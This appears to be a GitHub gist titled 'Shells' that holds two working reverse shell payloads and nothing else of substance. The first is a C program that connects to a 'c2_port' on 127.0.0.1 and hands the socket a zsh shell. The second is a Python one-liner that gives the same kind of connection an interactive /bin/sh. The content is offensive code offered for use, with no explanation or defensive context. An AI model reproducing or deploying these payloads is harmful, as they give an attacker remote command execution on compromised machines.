Created
January 6, 2019 22:34
-
-
Save Metnew/40f9e93e3234a4c47069b4a8a356f5a6 to your computer and use it in GitHub Desktop.
Shells
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <netinet/in.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
int main(int argc, char *argv[]) | |
{ | |
struct sockaddr_in sa; | |
int s; | |
int c2_port = 1337; | |
sa.sin_family = AF_INET; | |
sa.sin_addr.s_addr = inet_addr("127.0.0.1"); | |
sa.sin_port = htons(c2_port); | |
s = socket(AF_INET, SOCK_STREAM, 0); | |
connect(s, (struct sockaddr *)&sa, sizeof(sa)); | |
dup2(s, 0); | |
dup2(s, 1); | |
dup2(s, 2); | |
execl("/bin/zsh", "/bin/zsh", 0); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment